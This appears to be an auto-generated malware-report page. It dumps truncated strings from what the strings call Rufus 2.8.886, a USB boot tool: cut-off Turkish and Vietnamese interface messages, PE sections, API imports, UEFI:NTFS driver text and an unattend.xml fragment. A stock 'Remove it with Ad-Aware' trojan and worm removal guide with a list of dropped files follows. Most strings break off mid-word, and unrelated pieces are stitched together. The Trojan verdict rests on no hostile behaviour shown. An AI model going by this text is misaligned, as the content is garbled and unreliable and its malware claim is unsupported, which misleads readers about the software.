Bloklar: %s %d/%d - %0.2f%% (%d/%d/%d hata)"
t MSG_236 "Hatal
t MSG_237 "Hatal
Bloklar: 0xX kal
t MSG_238 "B
mlendiriliyor (%s)..."
t MSG_239 "B
t MSG_242 "Dosya indirilemedi."
t MSG_243 "Rufus g
t MSG_244 "G
t MSG_245 "G
t MSG_246 "Rufus'un yeni s
t MSG_247 "Rufus'un yeni s
t MSG_248 "Uygulama kay
t MSG_249 "Uygulama kay
t MSG_250 "%s etkin"
t MSG_251 "%s devred
t MSG_252 "Boyut Denetlemeleri"
t MSG_253 "Sabit Disk Alg
t MSG_256 "Sahte s
t MSG_257 "Joliet deste
t MSG_258 "Rock Ridge deste
t MSG_259 "G
t MSG_261 "Yans
t MSG_262 "ISO Deste
t MSG_263 "UYGUN boyutta birimleri kullan
t MSG_264 "'%s' dizini siliniyor"
t MSG_265 "VMWare disk alg
t MSG_267 "Windows yans
t MSG_268 "Windows yans
t MSG_269 "Zaman damgalar
t MSG_270 "USB Hata Ay
t MSG_271 "Yans
t MSG_273 "Uygulama dilini de
t MSG_274 "ISOHybrid yans
n ya %s (dosya kopyalama) modunda "
"ya da %s (disk yans
"Rufus %s modunun kullan
%s modunda yeniden yazmay
t MSG_276 "%s modunda yazd
t MSG_277 "%s modunda yazd
t MSG_280 "Yans
t MSG_283 "Ge
lebilir dosya '%s' taraf
m IDC_NBPASSES 20,0
t MSG_045 "USB-
'ldlinux.bss')
<mailto:mind.converter@gmail.com>"
s IDC_NBPASSES -20,0
t IDC_WINDOWS_INSTALL "Windows To Go (C
t Windows ti
p...kh
t IDC_WEBSITE "Nh
p website"
t MSG_003 "C
'%s' S
t MSG_004 "Ch
t MSG_005 "B
t MSG_007 "Hu
t MSG_008 "C
t MSG_009 "Kh
t MSG_010 "Ph
t MSG_011 "Ki
n %d kh
c\n %d l
i ghi\n %d l
t MSG_012 "%s\nC
n trong:\n%s"
t MSG_014 "H
t MSG_016 "H
t MSG_017 "Tu
t MSG_018 "Phi
n: %d.%d (B
ng %d)"
t MSG_019 "Phi
t: %d.%d (B
t MSG_029 "M
t MSG_030 "%s (M
t MSG_031 "S
ng %s cho BIOS ho
c %s"
t MSG_032 "S
ng %s cho BIOS"
t MSG_033 "S
ng %s cho UEFI"
t MSG_034 "Qua %d l
t MSG_035 "Qua %d l
t MSG_038 "Hu
t MSG_039 "Kh
t MSG_041 "Ho
t MSG_042 "L
t MSG_043 "L
i: %s"
t MSG_045 "Thi
a %d) [%s]"
t MSG_047 "Nhi
t MSG_048 "Rufus - Xo
t MSG_049 "Rufus - Hu
t MSG_050 "Th
t MSG_051 "L
t MSG_052 "Kh
t MSG_053 "T
t MSG_054 "Thi
t MSG_055 "Thi
t MSG_058 "X
t MSG_059 "K
t MSG_060 "K
t MSG_061 "Vui l
t MSG_063 "L
t MSG_065 "L
t MSG_066 "C
t MSG_067 "Kh
t MSG_068 "L
t MSG_069 "Kh
t MSG_071 "Kh
t MSG_072 "Ki
t MSG_073 "Qu
t MSG_074 "Tr
t MSG_075 "Kh
t MSG_076 "Kh
t MSG_077 "Kh
t MSG_078 "Kh
t MSG_079 "Thi
n Windows v
Windows k
t MSG_083 "Thay th
a '%s'.\n"
y:\n"
t khi '%s' c
ng %s"
t MSG_086 "Ch
t MSG_087 "H
t MSG_090 "ISO kh
t MSG_091 "Khi d
t MSG_092 "H
t MSG_093 "QUAN TR
trong Windows. "
t MSG_096 "Kh
t MSG_097 "Ch
ng '%s' n
t MSG_098 "QUAN TR
t 'Windows To Go', nh
y, Windows c
t MSG_099 "Gi
t MSG_101 "Thi
ng EFI Windows 7 v
Windows Vista. B
ng %s?"
t MSG_104 "%s ho
p tin '%s'
nh ISO %s, "
n:\n"
"'%s' t
t MSG_105 "Hu
t MSG_106 "Vui l
t MSG_108 "Nh
a %d)"
t MSG_110 "MS-DOS kh
t MSG_111 "K
%d:d, trong l
ng Syslinux %s%s nh
"Syslinux %s%s.\n\nPhi
"Internet ('ldlinux.sys' vng Grub %s nh
"Grub %s.\n\nPhi
"('core.img') kht MSG_150 "Th
t MSG_151 "D
t MSG_152 "Tu
p USB cho Windows XP"
t MSG_153 "M
t MSG_154 "M
t MSG_155 "M
t MSG_156 "M
t MSG_158 "K
t MSG_159 "D
t MSG_160 "B
t MSG_161 "Ki
t MSG_162 "B
t MSG_163 "Ch
t MSG_164 "C
t MSG_165 "Nh
t MSG_166 "Ch
t autorun.inf)"
t MSG_167 "C
t MSG_168 "Th
t Windows XP v
t MSG_169 "T
t MSG_170 "K
t MSG_171 "B
t MSG_172 "Th
t MSG_173 "Nh
t MSG_174 "Rufus - Ti
t MSG_175 "Phi
n %d.%d (B
t MSG_176 "B
t: thanhtai2009 <mailto:thanhtai2009@outlook.com>"
t MSG_177 "B
t MSG_178 "B
t MSG_179 "Ch
t MSG_180 "N
t MSG_181 "Ki
t MSG_182 "Phi
t MSG_184 "V
t MSG_185 "Ti
t MSG_186 "Rufus kh
t MSG_190 "Ph
t MSG_191 "Qua l
t MSG_192 "Qua l
t MSG_194 "Kh
t MSG_195 "D
p tin %s
t MSG_196 "QUAN TR
%d byte. "
t MSG_197 "Ph
t MSG_198 "'Windows To Go ch
t MSG_199 "Ch
t Windows v
t MSG_200 "Ch
y Windows tr
t MSG_203 "Kh
n %s c
nh: %s"
t MSG_206 "Thi
p tin %s"
t MSG_207 "O_Dia_Moi"
t MSG_208 "Ph
n %d thi
t MSG_209 "Ph
t MSG_210 "S
t MSG_212 "Th
t MSG_214 "Kh
u %s"
t %d/%d"
t MSG_219 "S
t %d%%"
ng (%s) - th
n %d:d..."
ng (%s)..."
t MSG_223 "S
t MSG_232 "C
t Syslinux %s..."
t MSG_235 "Kh
ng: %s %d/%d - %0.2f%% (%d/%d/%d l
t MSG_236 "Kh
t MSG_237 "Kh
u 0xX"
ng %s:
t MSG_242 "Kh
t MSG_244 "C
t MSG_245 "C
t MSG_247 "Kh
t MSG_249 "Kh
t MSG_251 "%s b
t MSG_252 "Ki
t MSG_253 "Ph
t MSG_254 "Bu
t MSG_255 "NoDriveTypeAutorun s
t MSG_256 "Ph
t MSG_257 "H
t MSG_258 "H
t MSG_259 "Bu
t MSG_260 "N
t MSG_261 "Ghi
t MSG_262 "H
t MSG_263 "D
c '%s'"
t MSG_265 "Ph
t MSG_266 "Ch
nh Windows:
nh Windows..."
t MSG_269 "Gi
t MSG_270 "G
t MSG_272 "T
t MSG_273 "Thay
%s (ch
c %s (
%s, v
t MSG_276 "Ghi trong ch
%s (Khuy
t MSG_277 "Ghi trong ch
t MSG_278 "Ph
t MSG_279 "Kh
t MSG_280 "Ch
t MSG_281 "(H
t MSG_282 "Kho
t MSG_283 "Ch
t MSG_284 "T
t MSG_285 "T
i '%s'.\n
.text
`.rdata
KERNEL32.dll
mkfs.fat
press any key to try again ...
@.data
.reloc
SSh|`
D:\uefi-ntfs\x86_32\Release\bootia32.pdb
.text$mn
.idata$5
.rdata
.rdata$zzzdbg
.idata$2
.idata$3
.idata$4
.idata$6
.data
.pdata
D:\uefi-ntfs\x86_64\Release\bootx64.pdb
.xdata
zF<%us
%s label not found
can't find 0x%X in attribute list
module `%s' isn't loaded
symlink type invalid (%x)
error: %s.
file `%s' not found
invalid file name `%s'
Could not convert device '%s' to UTF-16
C:\efifs\x86_32\Release\ntfs.pdb
C:\efifs\x86_64\Release\ntfs.pdb
This partition was created by Rufus (hXXps://rufus.akeo.ie).
For details, see hXXps://github.com/pbatard/uefi-ntfs.
<settings pass="offlineServicing">
<component name="Microsoft-Windows-PartitionManager" processorArchitecture="x86" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="hXXp://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="hXXp://VVV.w3.org/2001/XMLSchema-instance">
<component name="Microsoft-Windows-PartitionManager" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="hXXp://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="hXXp://VVV.w3.org/2001/XMLSchema-instance">
<settings pass="oobeSystem">
<component name="Microsoft-Windows-WinRE-RecoveryAgent" processorArchitecture="x86" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="hXXp://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="hXXp://VVV.w3.org/2001/XMLSchema-instance">
<UninstallWindowsRE>true</UninstallWindowsRE>
<component name="Microsoft-Windows-WinRE-RecoveryAgent" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="hXXp://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="hXXp://VVV.w3.org/2001/XMLSchema-instance">
CreatePipe
GetSystemWindowsDirectoryW
PeekNamedPipe
RegCloseKey
RegCreateKeyExA
RegDeleteKeyA
RegOpenKeyExA
CertCloseStore
CertFindCertificateInStore
CertFreeCertificateContext
CertGetNameStringA
CryptMsgClose
CryptMsgGetParam
_acmdln
_amsg_exit
SHFileOperationW
ShellExecuteA
ShellExecuteW
CreateDialogIndirectParamW
EnumChildWindows
GetKeyState
GetKeyboardLayoutNameA
HttpOpenRequestA
HttpQueryInfoA
HttpSendRequestA
InternetCrackUrlA
P`.data
`@.eh_framP
0@.bss
.idata
.rsrc
U'=%C
*?,;:/\| =<>[]"
.; Created by %s
; hXXp://rufus.akeo.ie
icon = autorun.ico
label = %s
XX
%s = %s
%s%s%s
File: %ws, Line %u
msvcrt.dll
tmsvcrt.dll
Rufus 2.8.886
Standard Windows installation
Click here to go to the website
!"#$%&'()* ,-./0123456789:
e.txt
a32.ef
64.efi
\efi\rufus\ntfs_ia32.efi
\efi\boot\bootia32.efi
: [%d] %s
*** UEFI:NTFS (%s-bit) ***
Failed to locate driver. Please check that '%s' exists on the FAT partition
Waiting %d seconds before retrying...
ERROR: Could not locate '%s'
Launching NTFS EFI loader '%s'...
Press any key to exit.
d/d/d d:d%c
%*a%X: %-.48a *%a*
Unsupported
TFTP Error
Pci(0x%x,0x%x)
Pccard(0x%x)
MemMap(%d,0x%x,0x%x)
Ctrl(%d)
Ven%s(%g
:x)
Keyboard(%d)
ParallelPort(%d)
Serial(%d)
Floppy(%d)
PciRoot(%d)
PcieRoot(%d)
Acpi(PNPx
Acpi(0x%X
Ata(%s,%s)
Scsi(%d,%d)
Fibre%s(0x6lx,0x6lx)
Usb(0x%x,0x%x)
I2O(0x%X)
%d.%d.%d.%d
%x:%x:%x:%x:%x:%x:%x:%x
Infiniband(0x%x,%g,0x%lx,0x%lx,0x%lx)
Uart(DEFAULT %c
Uart(%d %c
Sata(0x%x,0x%x,0x%x)
HD(Part%d,SigX)
HD(Part%d,Sig%g)
HD(Part%d,MBRType=x,SigType=x)
CDROM(0x%x)
Bss-%s(%a)
x-x-x-xx-xxxxxx
\efi\rufus\ntfs_x64.efi
\efi\boot\bootx64.efi
x64.ef
efifs 0.8.0 ntfs driver (GRUB 2.02~beta2)
Could not read block at address x
FSBindingSupported
DisconnectController[%d]
LogLevel = %d
Open(%llx%s, "%s")
File '%s' can only be opened in read-only mode
Reopening %s
Could not get file attributes for '%s'
Close(%llx|'%s') %s
Cannot delete '%s'
Unable to obtain the size of '%s'
Read(%llx|'%s', %d) %s
Cannot write to '%s'
SetPosition(%llx|'%s', %lld) %s
'%s': Cannot seek to %#llx of %llx
'%s': Position set to %llx
GetPosition(%llx|'%s', %lld)
GetInfo(%llx|'%s', %d) %s
'%s': Cannot get information of type %s
Cannot set information of type %s for file '%s'
Flush(%llx|'%s')
FSInstall: %s
FSUninstall: %s
HardwarePath(%d
AcpiPath(%d
Msg(%d
MediaPath(%d
BbsPath(%d
Path(%d,%d
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
- Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
C:\Windows\System32\GroupPolicy\gpt.ini (261 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\rufus.ini~ (55 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Ruf5495.tmp (882 bytes)
C:\Windows\System32\GroupPolicy\Machine\Registry.pol (376 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\AcLMoxtd4o (166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\launch_reb[1].htm (166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\B (16304 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Find and delete all copies of the worm's file together with "autorun.inf" scripts on removable drives.
- Reboot the computer.
*Manual removal may cause unexpected system behaviour and should be performed at your own risk.